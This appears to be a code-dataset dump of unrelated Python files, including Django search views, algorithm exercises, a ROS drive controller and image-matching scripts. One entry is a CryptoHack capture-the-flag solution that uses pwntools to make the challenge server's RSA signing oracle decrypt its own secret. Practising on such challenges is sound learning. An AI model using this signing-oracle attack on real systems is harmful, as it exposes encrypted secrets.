{\"Question\": {}}}})[\"hits\"][\"hits\"]:\n data = {}\n data[\"Question\"] = question[\"_source\"][\"Question\"]\n data[\"Pkid\"] = question[\"_source\"][\"pkid\"]\n data[\"Highlights\"] = question[\"highlight\"][\"Question\"]\n data[\"Category\"] = question[\"_source\"][\"Category\"]\n data[\"Answers\"] = question[\"_source\"][\"Answers\"]\n response.append(data)\n\n return Response(response)\n\n\nclass TefDiscussion(APIView):\n\n def get(self, request, format=None):\n response = []\n for questions in es.search(index=index, body={\"size\": 10000, \"query\": {\"match\": {\"Category\": \"TEF\"}}})[\"hits\"][\n \"hits\"]:\n data = {}\n data[\"Question\"] = questions[\"_source\"][\"Question\"]\n data[\"Answers\"] = questions[\"_source\"][\"Answers\"]\n data[\"pkid\"] = questions[\"_source\"][\"pkid\"]\n data[\"AskedBy\"] = questions[\"_source\"][\"Sender\"]\n response.append(data)\n return Response(response)\n\nclass TefDiscussion(APIView):\n\n def get(self, request, pk, format=None):\n response = []\n response_count = {}\n # page_num = request.data['page']\n filter = request.GET.get('time')\n page_num = pk\n questions = es.search(index=index, body={\"size\": 10000, \"query\": {\"match\": {\"Category\": \"TEF\"}}})[\"hits\"][\"hits\"]\n count = es.search(index=index, body={\"size\": 10000, \"query\": {\"match\": {\"Category\": \"TEF\"}}})[\"hits\"][\"total\"]\n if filter == '24 Hours':\n time = datetime.datetime.now()- datetime.timedelta(days=1)\n print(time)\n questions = es.search(index=index, body={\"size\": 10000, \"query\":\n {\"bool\":{\n \"must\":[\n {\"match\":\n {\"Category\": \"TEF\"}\n },\n {\n \"range\":{\n \"Timestamp\":{\n \"gte\":time,\n \"lte\":datetime.datetime.now()\n }\n }\n }\n ]}}}\n )[\"hits\"][\"hits\"]\n count = es.search(index=index, body={\"size\": 10000, \"query\":\n {\"bool\":{\n \"must\":[\n {\"match\":\n {\"Category\": \"TEF\"}\n },\n {\n \"range\":{\n \"Timestamp\":{\n \"gte\":time,\n \"lte\":datetime.datetime.now()\n }\n }\n }\n ]}}}\n )[\"hits\"][\"total\"]\n elif filter == 'past week':\n time = datetime.datetime.now()- datetime.timedelta(days=7)\n print(time)\n questions = es.search(index=index, body={\"size\": 10000, \"query\":\n {\"bool\":{\n \"must\":[\n {\"match\":\n {\"Category\": \"TEF\"}\n },\n {\n \"range\":{\n \"Timestamp\":{\n \"gte\":time,\n \"lte\":datetime.datetime.now()\n }\n }\n }\n ]}}}\n )[\"hits\"][\"hits\"]\n count = es.search(index=index, body={\"size\": 10000, \"query\":\n {\"bool\": {\n \"must\": [\n {\"match\":\n {\"Category\": \"TEF\"}\n },\n {\n \"range\": {\n \"Timestamp\": {\n \"gte\": time,\n \"lte\": datetime.datetime.now()\n }\n }\n }\n ]}}}\n )[\"hits\"][\"total\"]\n elif filter == 'past month':\n time = datetime.datetime.now()- datetime.timedelta(days=30)\n print(time)\n questions = es.search(index=index, body={\"size\": 10000, \"query\":\n {\"bool\":{\n \"must\":[\n {\"match\":\n {\"Category\": \"TEF\"}\n },\n {\n \"range\":{\n \"Timestamp\":{\n \"gte\":time,\n \"lte\":datetime.datetime.now()\n }\n }\n }\n ]}}}\n )[\"hits\"][\"hits\"]\n count = es.search(index=index, body={\"size\": 10000, \"query\":\n {\"bool\": {\n \"must\": [\n {\"match\":\n {\"Category\": \"TEF\"}\n },\n {\n \"range\": {\n \"Timestamp\": {\n \"gte\": time,\n \"lte\": datetime.datetime.now()\n }\n }\n }\n ]}}}\n )[\"hits\"][\"total\"]\n if page_num <= (count / 10) + 1:\n paginator = Paginator(questions, 10)\n page = paginator.page(page_num)\n response_count[\"Count\"] = count\n for i in page.object_list:\n data = {}\n data[\"Question\"] = i[\"_source\"][\"Question\"]\n data[\"Answers\"] = i[\"_source\"][\"Answers\"]\n data[\"pkid\"] = i[\"_source\"][\"pkid\"]\n data[\"AskedBy\"] = i[\"_source\"][\"Sender\"]\n data[\"Category\"] = i[\"_source\"][\"Category\"]\n response.append(data)\n response_count[\"Response\"]=response\n return Response(response_count)\n return Response([])\n\n\n","sub_path":"obj/Release/Package/PackageTmp/GOImplement/GeneralDiscussion/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"309165227","text":"from pwn import * # pip install pwntools\nimport json\nfrom Crypto.Util.number import long_to_bytes\n\nr = remote('socket.cryptohack.org', 13374, level = 'debug')\n\ndef json_recv():\n line = r.recvline()\n return json.loads(line.decode())\n\ndef json_send(hsh):\n request = json.dumps(hsh).encode()\n r.sendline(request)\n \nto_send = {\n \"option\": \"\"\n}\n\nto_send['option']='get_pubkey'\njson_send(to_send)\nr.recvline()\nresult = json_recv()\nN = eval(result[\"N\"])\ne = eval(result['e'])\n\nto_send['option']='get_secret'\njson_send(to_send)\nresult = json_recv()\nsecret = result['secret']\n\nto_send['option']='sign'\nto_send['msg']=secret\njson_send(to_send)\nresult = json_recv()\n\nresult = eval(result['signature'])\nprint(long_to_bytes(result))\n","sub_path":"CryptoHack/RSA_Signing_Server.py","file_name":"RSA_Signing_Server.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"462674836","text":"n = int(input())\nn_arr = list(map(int, input().split()))\nm = int(input())\nm_arr = list(map(int, input().split()))\n\ndef search(target, list, start, end):\n while start <=end:\n mid = (start + end) //2\n if list[mid] == target:\n return mid\n elif list[mid] < target:\n start = mid +1\n else:\n end = mid - 1\n return None\n\nn_arr.sort()\nfor m in m_arr:\n result = search(m, n_arr, 0, len(n_arr)-1)\n if result != None:\n print('yes', end=' ')\n else:\n print('no', end=' ')\n\n#이진탐색말고도 다른 해결방법들 존재. ","sub_path":"coding_test/2_7/7_2.py","file_name":"7_2.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"64336106","text":"'''\nGiven a collection of intervals, merge all overlapping intervals\n'''\nclass Solution:\n def merge(self, intervals):\n if not intervals:\n return []\n if len(intervals) < 2:\n return intervals\n intervals.sort(key=lambda i:i[0])\n i = 1\n temp = intervals[0]\n while i < len(intervals):\n if temp[1] >= intervals[i][0]:\n temp[1] = max(temp[1], intervals[i][1])\n intervals[i-1] = temp\n intervals.pop(i)\n else:\n temp = intervals[i]\n i += 1\n #print(intervals)\n return intervals\n\nnums1 = [[1,3],[2,6],[8,10],[15,18]]\nfunction = Solution()\nfunction.merge(nums1)","sub_path":"Array/problem56/merge_interval.py","file_name":"merge_interval.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"175523908","text":"#!/usr/bin/env python\nimport rospy\nfrom sensor_msgs.msg import LaserScan\nfrom std_msgs.msg import String, Header\nfrom lab4.msg import cone_data_msgs as ConeData\nfrom ackermann_msgs.msg import AckermannDriveStamped, AckermannDrive\n\nimport numpy as np\n\n\"\"\"\nDescription: This program implements a controller whcih will drive to an object and maintain a certain distance from is based on image data.\n\nThis is the ROS structure of the ConeData message:\n\nfloat32 horizontal_error\nint32 height\n\"\"\"\n\ndef getDistance(height):\n distance = -0.00001 * (height**3) + 0.003 * (height**2) - 0.3198 * height + 13.222\n distance_m = distance / 3.28084 # convert to meters\n return distance_m\n\n\nclass IBVSControl():\n def __init__(self):\n # Init subscribers and publishers\n self.sub = rospy.Subscriber(\"/echo_node/cone_data\", ConeData, self.dataCB, queue_size=1)\n\n self.pub = rospy.Publisher(\"/vesc/high_level/ackermann_cmd_mux/input/nav_0\",\\\n AckermannDriveStamped, queue_size =1 )\n\n rospy.loginfo(\"IBVS Control node initialized\")\n\n\n def dataCB(self, msg):\n #This callback is called everytime the zed object detector sends us data and is responsible\n #for sending the drive message to the car. The message received is a ConeData message.\n # Define useful constants \n h_error = msg.horizontal_error\n height = msg.height\n threshold = .45\n speed = 1.0\n angle_gain = .7\n speed_gain = .9\t\t\n\n # Calaculate steering angle \n steering_angle = angle_gain*h_error\n\n # Calculate the drive speed\n distance = getDistance(height)\n distance_error = distance - threshold\n\n if (distance_error > 2):\n distance_error = 2\n elif (distance_error < -2):\n distance_error = -2\n\n drive_speed = speed_gain * distance_error\n\n # Send the drive message\n drive_msg_stamped = AckermannDriveStamped()\n drive_msg = AckermannDrive()\n drive_msg.speed = drive_speed\n drive_msg.steering_angle = steering_angle\n drive_msg_stamped.drive = drive_msg\n self.pub.publish(drive_msg_stamped)\n\n\nif __name__==\"__main__\":\n # Tell ROS that we're making a new node.\n rospy.init_node(\"IBVSControl\")\n\n # Init the node\n IBVSControl()\n\n # Don't let this script exit while ROS is still running\n rospy.spin()\n\n","sub_path":"ibvs_control.py","file_name":"ibvs_control.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"154992570","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 10 12:07:33 2018\n\n@author: franchesoni\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cv2\n\n# CARGA DE IMAGENES Y TEMPLATES\nplt.close('all')\nimages = []\nfor i in range(3, 12):\n images.append(cv2.bitwise_not(cv2.imread('../../../images/regiones_UTE/binary{}.jpg'.format(i))[:, :, 0]))\ntemplates = []\nfor i in range(1, 4):\n templates.append(cv2.bitwise_not((cv2.imread('../../../images/Extras/template{}.jpg'.format(i)))[55:260, 40:310, 0]))\n#%%\n# SELECCION DE UNA IMAGEN Y SU TRANSFORMADA\nimg = images[0]\nimg_fft = np.fft.fft2(img)\n#%%\nmaxima = [] # LISTA VACIA DONDE VAN LOS MAXIMOS A COMPARAR\n\nar = templates[0].shape[0]/templates[0].shape[1] # ASPECT RATIO A MANTENER\nks = np.linspace(0.9, 1, num=20) # FACTOR DE ESCALA\n\nfor k in ks: # PARA CADA FACTOR DE ESCALA\n tmp = cv2.resize(templates[0],\n (np.int(img.shape[0]*k),\n np.int(img.shape[0]*k*ar))) # CONSIGO UN TEMPLATE MANTENIENDO EL ar\n tmp_fft = np.fft.fft2(tmp, (img.shape[0], img.shape[1])) # FFT \n result = np.abs(np.fft.ifft2((img_fft*tmp_fft)/np.abs(img_fft*tmp_fft))) # PHASE CORRELATION\n maxima.append(np.amax(result)) # AGREGO EL MAXIMO A LA LISTA\n#%%\nargmaximum = np.argmax(maxima) # ENCUENTRO EL INDICE DEL FACTOR DE ESCALA QUE DIO MEJOR\nprint(ks[argmaximum])\ntmp = cv2.resize(templates[0], \n (np.int(img.shape[0]*ks[argmaximum]),\n np.int(img.shape[0]*ks[argmaximum]*ar))) # EXTRAIGO ESE TEMPLATE\ntmp_fft = np.fft.fft2(tmp, (img.shape[0], img.shape[1])) # FFT\nresult = np.abs(np.fft.ifft2((img_fft*tmp_fft)/np.abs(img_fft*tmp_fft))) # PHASE CORRELATION\nplt.figure()\nplt.imshow((result>=maxima[argmaximum])) # MUESTRO SU UBICACION\n#%% MOVE TEMPLATE TO LOCATION\na, b = np.unravel_index(result.argmax(), result.shape)\nprint(a, b)\n#%%\nfinal_template = np.zeros((img.shape[0], img.shape[1]))\nfinal_template[a-tmp.shape[0]:a, b-tmp.shape[1]:b] = tmp\nplt.figure()\nplt.imshow(img+final_template)\n\n\n\n# tenemos 3 templates\n# iteramos sobre los templates por la imagen con phase correlation\n# tambien cambiamos el tamanio del template\n","sub_path":"master/UTE/oldies/character_detection2.py","file_name":"character_detection2.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"25578678","text":"__author__ = 'Yassien'\r\n\r\ndef readTestCaseFile(fileName):\r\n inputLines = []\r\n cases =[]\r\n with open(fileName, 'r') as fp:\r\n for line in fp:\r\n number = line.split('\\n')\r\n inputLines.append(number)\r\n numCases = inputLines[0][0]\r\n numCases = int(numCases)\r\n index = 1\r\n for i in range(numCases):\r\n line = inputLines[index]\r\n line = str(line[0])\r\n numbers = []\r\n tempNumber = \"\"\r\n for ch in line:\r\n if ch != \" \":\r\n tempNumber = tempNumber + ch\r\n else:\r\n if tempNumber !=\" \":\r\n numbers.append(int(tempNumber))\r\n tempNumber = \"\"\r\n\r\n if tempNumber !=\" \":\r\n numbers.append(int(tempNumber))\r\n cases.append(numbers)\r\n index = index + 1\r\n return cases\r\n\r\ndef writeOutput(destDirectory,results):\r\n\r\n fileName = destDirectory+\"results.txt\"\r\n filehandle = open(fileName,'w')\r\n index = 1\r\n for res in results:\r\n filehandle.write(\"Case\")\r\n filehandle.write(\"\\t\")\r\n filehandle.write(\"#\"+str(index)+\":\")\r\n filehandle.write(\"\\n\")\r\n coins = res[1]\r\n for coin in coins:\r\n jam = coin[0]\r\n numbers = coin[1]\r\n filehandle.write(str(jam))\r\n filehandle.write(\"\\t\")\r\n for num in numbers:\r\n filehandle.write(str(num))\r\n filehandle.write(\"\\t\")\r\n filehandle.write(\"\\n\")\r\n\r\n index = index + 1\r\n\r\n return\r\ndef convertNumIntoDigits(N):\r\n number = str(N)\r\n digits = []\r\n for ch in number:\r\n if ch != \" \":\r\n digits.append(int(ch))\r\n return digits\r\ndef interpretToNumber(digits,base):\r\n '''\r\n number = 0\r\n index = 0\r\n for digit in digits:\r\n number = number + digit*(base**index)\r\n index = index + 1\r\n '''\r\n decimal = 0\r\n for digit in digits:\r\n decimal = decimal*base + int(digit)\r\n return decimal\r\ndef factors(n):\r\n currentDivisor = 1\r\n done = 0\r\n while n > 1:\r\n for i in range(2, int(n) + 1):\r\n if n % i == 0:\r\n n /= i\r\n currentDivisor = i\r\n done = 1\r\n break\r\n if done:\r\n break\r\n return currentDivisor\r\ndef is_JetCoin(case):\r\n nonTrivialDivisors = []\r\n tempConverted = []\r\n index = 2\r\n digits = convertNumIntoDigits(case)\r\n if len(digits)>1:\r\n if digits[0] ==0 or digits[len(digits)-1] == 0:\r\n return 0\r\n ret = 1\r\n for i in range(9):\r\n base = index\r\n print(case)\r\n #number = int(case, base)#interpretToNumber(digits,base)\r\n #digits = convertNumIntoDigits(case)\r\n #number = interpretToNumber(digits,base)\r\n number = int(case, base)\r\n #print(\"converted\")\r\n #print(number)\r\n #print(\"after factor\")\r\n isPrime = is_prime(number)\r\n #print(\"After prime\")\r\n #print(isPrime)\r\n if isPrime== 1:\r\n ret = 0\r\n break\r\n else:\r\n #print(\"start Factorizing\")\r\n #nonTrivialDivisors.append(factors(number))\r\n tempConverted.append(number)\r\n #print(\"End Factorizing\")\r\n index = index + 1\r\n if ret == 1:\r\n for num in tempConverted:\r\n nonTrivialDivisors.append(factors(num))\r\n return ret,nonTrivialDivisors\r\nimport math\r\ndef is_prime(n):\r\n if n % 2 == 0 and n > 2:\r\n return False\r\n return all(n % i for i in range(3, int(math.sqrt(n)) + 1, 2))\r\n\r\nfrom random import randint\r\n\r\ndef generateRandomBit():\r\n return randint(0,1)\r\n\r\ndef generateCoinJam(N):\r\n JamCoinNumber = \"1\"\r\n for i in range(N-2):\r\n JamCoinNumber = JamCoinNumber+ str(generateRandomBit())\r\n JamCoinNumber = JamCoinNumber+ \"1\"\r\n return JamCoinNumber\r\ndef solveCoinJamCase(case):\r\n if len(case) > 1:\r\n N = case[0]\r\n J = case[1]\r\n numSuccessfulCases = 0\r\n solutions = []\r\n while numSuccessfulCases 0 :\r\n results = []\r\n for i in range(len(cases)):\r\n ret = solveCoinJamCase(cases[i])\r\n results.append((i,ret))\r\n writeOutput(destDirectory,results)\r\n\r\n return\r\nfileName = \"C:/Users/Yassien/Desktop/C-small-attempt0.in\"\r\ncases = readTestCaseFile(fileName)\r\ndestDirectory = \"C:/Users/Yassien/Desktop/\"\r\ncoinJam(cases,destDirectory)","sub_path":"codes/CodeJamCrawler/16_0_3/Yassien/Coin_Jam.py","file_name":"Coin_Jam.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"537027841","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2019/7/28 3:01 PM\n@Author : ddlee\n@File : 1.py\n\"\"\"\n\nimport sys\n\n\ndef process(arr, N):\n print(arr, N)\n return None\n\n\nif __name__ == \"__main__\":\n line1 = sys.stdin.readline().strip()\n N = int(line1)\n\n arr = []\n for i in range(N):\n line2 = sys.stdin.readline().strip()\n values2 = list(map(float, line2.split()))\n arr.append(values2)\n\n ans = process(arr, N)\n print(\"%.2f\" % ans)\n\n\"\"\"\n10\n1 0.90\n0 0.70\n1 0.60\n1 0.55\n0 0.52\n1 0.40\n0 0.38\n0 0.35\n1 0.31\n0 0.10\n\"\"\"\n","sub_path":"LeetCode_b/2019offer/iqiyi/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"249812836","text":"from .baseschema import ma\nfrom src.models.podcast import Podcast\nfrom marshmallow import fields, pre_load\nfrom src.database.utils.crud import read_rows\nfrom nltk.tokenize import TweetTokenizer\nfrom src.database.db import get_db_session\nimport string\nimport re\nclass PodcastSchema(ma.ModelSchema):\n episode = fields.Nested('EpisodeSchema', exclude =(\"podcast\",))\n class Meta:\n model = Podcast\n init_session, _ = get_db_session()\n sqla_session = init_session\n \"\"\"href = ma.Hyperlinks(\n {\n 'self': [\n ma.URLFor('apiV1_0.podcasts', id = \"\")\n ],\n 'collection': ma.URLFor(\"apiV1_0.podcasts\")\n }\n )\"\"\"\n @pre_load\n def check_data(self, data):\n if data.get('id') is None:\n if data.get('title') is None:\n raise ValueError('Must Include title')\n punct = set(string.punctuation)\n #if both the id and the slug is none then this is a completely new blog\n #generate the slug from the title by tokenizing the lowered title and filtering for only alphanumeric characters\n #then use the join method on the filtered slug tokens to form a slug_like_this from ['slug','like','this']\n slug_array = TweetTokenizer().tokenize(data['title'].lower())\n if len(slug_array) == 1:\n data['slug'] = slug_array[0]\n else:\n slug_array = list(filter(lambda x: not re.match(\"(\\\\d|\\\\W)+\", x) and not x in punct, slug_array))\n data['slug'] = '_'.join(slug_array)\n query = read_rows(Podcast, filters= [\n {\n 'slug': {\n 'comparitor': '==',\n 'data': data['slug']\n }\n }\n ]).one_or_none()\n count = 1\n #loop over until you find a unique slug by appending an incrementing count to the end of the slug\n while query is not None:\n slug = data['slug'] + '_' + str(count)\n query = read_rows(Podcast, filters= [\n {\n 'slug': {\n 'comparitor': '==',\n 'data': slug\n }\n }\n ]).one_or_none()\n data['slug'] = slug\n count += 1\n else:\n for key in list(data.keys()):\n if key != 'id':\n del data[key]","sub_path":"src/utils/marshmallow/podcast_schema.py","file_name":"podcast_schema.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"321883276","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @File : inference.py.py\n# @Author: harry\n# @Date : 2019/4/23 下午12:13\n# @Desc : MANN inference with eager execution enabled\n\nimport tensorflow as tf\nimport numpy as np\nfrom mann import MANNModel\nfrom constants import *\nfrom hyper_params import *\nfrom utils import *\n\ntf.enable_eager_execution()\n\n\ndef main():\n print(\"Enable Eager Execution: {}\".format(tf.executing_eagerly()))\n\n # build model\n model = MANNModel(\n vocab_size=VOCAB_SIZE,\n embedding_size=EMBEDDING_SIZE,\n lstm_units=LSTM_UNITS,\n dense_units=DENSE_UNITS,\n training=False,\n )\n\n # load saved weights\n # model.load_weights(SAVE_FILE)\n model.load_weights(SAVE_BEST_FILE).expect_partial()\n\n # load word2id\n word2id, id2word = load_word2id()\n\n # input data\n e1_text = input(\"Input exercise 1: \")\n e2_text = input(\"Input exercise 2: \")\n\n # tokenize\n e1_tokens = tokenize_raw_text_to_id(word2id, e1_text)\n e2_tokens = tokenize_raw_text_to_id(word2id, e2_text)\n\n print(e1_tokens)\n print(e2_tokens)\n\n # data for inference\n a = np.array([e1_tokens], dtype=int)\n b = np.array([e2_tokens], dtype=int)\n\n sim_score, sim_attention_matrix = model.predict([a, b])\n # print(repr(sim_score))\n print(\"Similar score: {}\".format(sim_score[0][0]))\n valid_attention = sim_attention_matrix[0]\n # print(repr(valid_attention))\n e1_raw = [id2word[w] for w in e1_tokens]\n e2_raw = [id2word[w] for w in e2_tokens]\n plot_attention(valid_attention, e1_raw, e2_raw)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"MANN_naive/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"518138093","text":"from flask_login import current_user\nfrom flask import url_for\nfrom flask import redirect\nfrom flask import request\nfrom flask_admin import AdminIndexView\nfrom flask_admin.contrib.sqla import ModelView\n\n\nclass MyIndexView(AdminIndexView):\n \n def is_accessible(self):\n if current_user.is_anonymous:\n return False\n return current_user.username == 'admin'\n \n def inaccessible_callback(self, name, **kwargs):\n return redirect(url_for('auth.login', next=request.url))\n\n\nclass MyBaseView(ModelView):\n\n def is_accessible(self):\n if current_user.is_anonymous:\n return False\n return current_user.username == 'admin'\n\n def inaccessible_callback(self, name, **kwargs):\n return redirect(url_for('auth.login', next=request.url))\n\n\nclass MyUserView(MyBaseView):\n\n column_searchable_list=['username', 'email']\n\n column_labels = {\n 'username' : '用户名',\n 'email': '电子邮箱',\n 'about_me': '简介'\n }\n\n column_list = ('username', 'email','about_me')\n\n\nclass MyPostView(MyBaseView):\n\n column_searchable_list=['title', 'body']\n\n column_labels = {\n 'title' : '标题',\n 'body': '正文',\n 'author': '作者',\n }\n\n column_list = ('title', 'body','author')\n \n\nclass MyCommentView(MyBaseView):\n\n column_searchable_list=['body']\n\n column_labels = {\n 'body' : '内容',\n 'author': '作者',\n 'post': '文章'\n }\n\n column_list = ('body', 'author','post')\n","sub_path":"app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"530202343","text":"def rf(filename):\r\n try:\r\n with open(filename, encoding='utf-8') as f:\r\n return f.read()\r\n except Exception as e:\r\n print(\"Ошибка во время чтения:\", e)\r\n \r\ndef get_dict(text):\r\n ts = text.split('\\n')\r\n values_dict = {}\r\n for i in range(len(ts)):\r\n if '=' in ts[i]:\r\n x = ts[i].split('=')\r\n values_dict[x[0]] = x[1]\r\n else:\r\n break\r\n \r\n return values_dict\r\n \r\ndef start_text(text):\r\n x = text.find('!')\r\n return x+1\r\n \r\ndef recomp(text):\r\n skip = False\r\n recomp_text = ''\r\n j = -1\r\n for i in range(len(text)):\r\n if i > j:\r\n if skip == True:\r\n if text[i] == '>':\r\n skip = False\r\n recomp_text += text[i]\r\n \r\n elif skip == False:\r\n if text[i] == '<':\r\n skip = True\r\n recomp_text += text[i]\r\n else:\r\n if i< len(text):\r\n if text[i].isdigit():\r\n recomp_text += text[i+1] * int(text[i])\r\n j = i + int(text[i])-1\r\n else:\r\n recomp_text += text[i]\r\n else:\r\n recomp_text += text[i]\r\n \r\n return recomp_text\r\n \r\ndef text_to_values(value_dict, recomp_text):\r\n text_list = []\r\n skip = False\r\n not_value = ''\r\n k = 0\r\n for i in recomp_text:\r\n if skip == True:\r\n if i == '>':\r\n skip = False\r\n text_list.append(not_value)\r\n not_value = ''\r\n else:\r\n not_value += i\r\n \r\n elif skip == False:\r\n if i == '<':\r\n skip = True\r\n else:\r\n text_list.append(value_dict[i])\r\n \r\n k += 1\r\n \r\n return text_list\r\n \r\ndef values_to_str(text_list):\r\n text = ''\r\n for i in text_list:\r\n i = '0x' + i\r\n text += chr(int(i, 16))\r\n \r\n return text\r\n \r\n \r\n \r\nfile = 'kto.maa'\r\ntext = rf(file)\r\nvalues_dict = get_dict(text)\r\nrecomp_text = recomp(text[start_text(text):])\r\ntext_list = text_to_values(values_dict, recomp_text)\r\ntext = values_to_str(text_list)\r\n\r\nwith open('kto.txt', encoding='utf-8') as f:\r\n x = f.read()\r\n\r\nwith open('kto_maar.txt', 'w', encoding='utf-8') as f:\r\n f.write(text)\r\n\r\nprint(len(text), len(x), text==x)\r\n\r\n \r\n","sub_path":"MAA/MAAR.py","file_name":"MAAR.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"119517391","text":"from django.urls import path\nfrom .views import *\nfrom django.conf.urls import url\n\nurlpatterns=[\n path('',homepage,name='homepage'),\n]\n\n#MANIFIESTOS\nurlpatterns+=[\n path('manifiesto/entrada/',manifiesto_entrada,name='manifiesto_entrada'),\n path('manifiesto/salida/', manifiesto_salida, name='manifiesto_salida'),\n path('manifiesto/',api_request,name='api_request'),\n\n\n]\n\n#PRODUCTO\nurlpatterns+=[\n #DETAIL PRODUCT\n path('product/',product_details,name='product_detail'),\n\n #VISTA\n path('tareas/mantenimiento', tareas_mantenimiento, name='tareas_mantenimiento'),\n path('tareas/operarios', tareas_operarios, name='tareas_operarios'),\n\n #VISTA ESPECIFICA\n path('tarea/', TaskDetailView.as_view(), name='task_detail'),\n\n #CREATE\n path('tarea/create_task', CreateTask.as_view(), name='task_create'),\n\n #UPDATE\n path('tarea/update_all/', UpdateTaskAll.as_view(), name='task_update_all'),\n path('tarea/update_status/', UpdateTaskStatus.as_view(), name='task_update_status'),\n path('tarea/update_assigned/', UpdateAssignedTask.as_view(), name='task_update_assigned'),\n path('tarea/update_finish/', UpdateTasktoFinish.as_view(), name='task_update_finish'),\n\n #DELETE\n path('tarea/delete_task/', DeleteTask.as_view(), name='task_delete'),\n\n]\n\n#SALAS\nurlpatterns+=[\n path('salas/', rooms, name='rooms'),\n path('salas/', room_details, name='room_detail'),\n path('container/update/', ChangeRoom.as_view(), name='change_room'),\n path('salas//tareas', room_tareas, name='room_tareas'),\n path('salas//products',product_details,name='product_detail'),\n\n]\n\n\n#Manteniment-CEO\nurlpatterns+=[\n path('formulari/',CreatefCEO.as_view(), name='formCEO_create'),\n path('formulari/', CEOfDetailView.as_view(), name='formCEO_detail'),\n path('form/', CEOflist, name='formCEO_list'),\n path('tarea/delete_CEOf/', DeletefCEO.as_view(), name='CEOf_delete'),\n path('informes/', ceo_reports, name='reports'),\n path('analisis/', ceo_analysis, name='economic_flow'),\n]\n\n","sub_path":"JointProject/application/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"503207885","text":"from .base import BaseImporter\n\n\nclass PersonImporter(BaseImporter):\n _type = 'person'\n\n def get_db_spec(self, person):\n spec = {'$or': [{'name': person['name']},\n {'other_names': person['name']}],\n 'jurisdiction_id': person['jurisdiction_id']\n }\n if 'chamber' in person:\n spec['chamber'] = person['chamber']\n if 'district' in person:\n spec['district'] = person['district']\n return spec\n","sub_path":"pupa/importers/people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"136237771","text":"import datetime\n\nimport holidays\n\nfrom commute.model import Route, Geolocation\n\nclass Database:\n\n def __init__(self, connection):\n self.connection = connection\n self.create_tables()\n\n def create_tables(self):\n with self.connection:\n self._create_geolocation_table(self.connection)\n self._create_route_table(self.connection)\n self._create_trip_table(self.connection)\n self._create_measurement_table(self.connection)\n\n def _create_geolocation_table(self, connection):\n command = 'CREATE TABLE IF NOT EXISTS geolocation (' \\\n 'name text UNIQUE NOT NULL, ' \\\n 'latitude float NOT NULL, ' \\\n 'longitude float NOT NULL ' \\\n ')'\n connection.execute(command)\n\n def _create_route_table(self, connection):\n command = 'CREATE TABLE IF NOT EXISTS route (' \\\n 'name text UNIQUE NOT NULL, ' \\\n 'origin_id int NOT NULL, ' \\\n 'destination_id int NOT NULL, ' \\\n 'waypoint_id int ' \\\n ')'\n connection.execute(command)\n\n def _create_trip_table(self, connection):\n command = 'CREATE TABLE IF NOT EXISTS trip (' \\\n 'name text UNIQUE NOT NULL, ' \\\n 'country text NOT NULL, ' \\\n 'start_time text NOT NULL, ' \\\n 'end_time text NOT NULL, ' \\\n 'weekdays_only int NOT NULL, ' \\\n 'ignore_holidays int NOT NULL ' \\\n ')'\n connection.execute(command)\n\n command = 'CREATE TABLE IF NOT EXISTS trip_routes (' \\\n 'trip_id int NOT NULL, ' \\\n 'route_id int NOT NULL ' \\\n ')'\n connection.execute(command)\n\n def _create_measurement_table(self, connection):\n command = 'CREATE TABLE IF NOT EXISTS measurement (' \\\n 'route int UNIQUE NOT NULL, ' \\\n 'datetime_measured text NOT NULL, ' \\\n 'duration int NOT NULL, ' \\\n 'duration_in_traffic int NOT NULL, ' \\\n 'warnings text NOT NULL ' \\\n ')'\n connection.execute(command)\n\n def require_geolocation(self, geolocation):\n if geolocation._id is not None:\n return geolocation\n\n with self.connection:\n command = 'SELECT rowid from geolocation where name = ?'\n parameters = (geolocation.name,)\n cursor = self.connection.execute(command, parameters)\n row = cursor.fetchone()\n if row is not None:\n geolocation._id = row[0]\n return geolocation\n\n command = 'INSERT INTO geolocation VALUES (?, ?, ?)'\n parameters = (geolocation.name,\n geolocation.latitude,\n geolocation.longitude)\n cursor = self.connection.execute(command, parameters)\n geolocation._id = cursor.lastrowid\n\n return geolocation\n\n def require_route(self, route):\n if route._id is not None:\n return route\n\n with self.connection:\n command = 'SELECT rowid from route where name = ?'\n parameters = (route.name,)\n cursor = self.connection.execute(command, parameters)\n row = 